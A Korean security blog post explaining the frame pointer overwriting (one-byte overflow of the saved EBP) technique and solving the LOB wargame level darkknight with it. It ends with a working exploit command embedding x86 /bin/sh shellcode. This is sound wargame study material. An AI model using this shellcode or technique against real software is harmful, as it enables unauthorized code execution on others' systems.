본문 바로가기
Security/Pwnable

Frame Pointer Overwriting

by J0DEV 2021. 8. 10.
반응형

Frame Pointer Overwriting 이란

 

Fake ebp의 하위 개념으로써 서브 함수가 필요하고 1바이트 오버플로우가 일어나면 사용할 수 있는 기법입니다.

 

1byte overflow라고도 하네요 

 

버퍼 위의 SFP 부분의 1바이트를 오버플로우 할 수 있게 되면 에필로그시에 ebp 레지스터를 조작할 수 있게 됩니다.

 

에필로그 과정은

leave
ret

으로 이루어져 있는데

 

leave
move esp,ebp
pop ebp
ret
pop eip
jmp eip

 로 되어 있습니다.

 

 

만약 여기서 ebp를 변조시킨다면 

 

leave가 수행되면서 변조된 주소로 내려가겠지요

 

그리고 ret가 수행될 것입니다.

RET
SFP
BUFFER

의 형택의 스택이 존재할 때 이것을

RET
SFP
(1byte overflow)
NOP
SHELLCODE
NOP

형태로 덮어씌운다면

 

거기다 SFP가

 

shellcode의 nop을 가르킨다면??

 

어떻게 될까요

 

만약에 버퍼의 시작주소가 0x~~~80이라고 할때

 

ebp를 0x~~~78로 변경하고 

 

leave-ret을 수행하면

 

leave에서 esp와 ebp가 0x78를 가르키게 되면서 pop이되어 0x7c를 가리키고 ret 에서 pop eip 가되면서 0x7c에 있는 주소를 가리킬 것이다. (0x7c는 0x80을 가리키고 있다.)

 

즉 ebp+4의 주소를 가르키게 됩니다.

 

ret 명령이 수행되며 shell코드 주소를 eip가 가르키게 됩니다.

 

실제로 LOB golem->darknight문제를 가지고 풀어보겠습니다.

 

버퍼는 40바이트인데 41바이트를 복사해주네요 

 

 

더미값도 없고 그대로 SFP를 1바이트 변조할 수 있습니다.

 

 

 

서브함수가 leave 될때 브레이크 포인트를 걸어준 후, A 40개로 버퍼를 채우고 1바이트를 B로 채워줬습니다.

 

0xbffffa74가 버퍼의 시작주소이네요

 

0xbffffa9c가 0xbffffa42로 변조된것을 확인할 수 있습니다.

 

그렇다면 0xbffffa6c로 변주해주면 leave가 수행되면서 0xbffffa70의 0xbffffa74라는 주소로 eip를 수행하겠네요

 

하지만 실제 파일(저거는 복사한 파일 ㅎ)에서 1워드의 차이가 있었습니다.

 

복사한 파일의 공격 코드는

 

./darknight `python -c 'print "쉘코드 + nop 40바이트" + "\x6c"'` 였습니다.

 

하지만 실제파일에서는 1워드 낮게 있더라구요

 

 

 

 

 

 

그래서

./darkknight `python -c 'print "\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*5+"\x68"'` 

코드가 됩니다.

반응형

'Security > Pwnable' 카테고리의 다른 글

pwnable.kr [Toddler's Bottle]->[fd]  (0) 2021.08.11
Fake EBP  (0) 2021.08.10
RTL이란? (Return to Library)  (0) 2021.08.10
LOB Level20 xavius  (0) 2021.08.10
LOB Level 19 nightmare  (0) 2021.08.10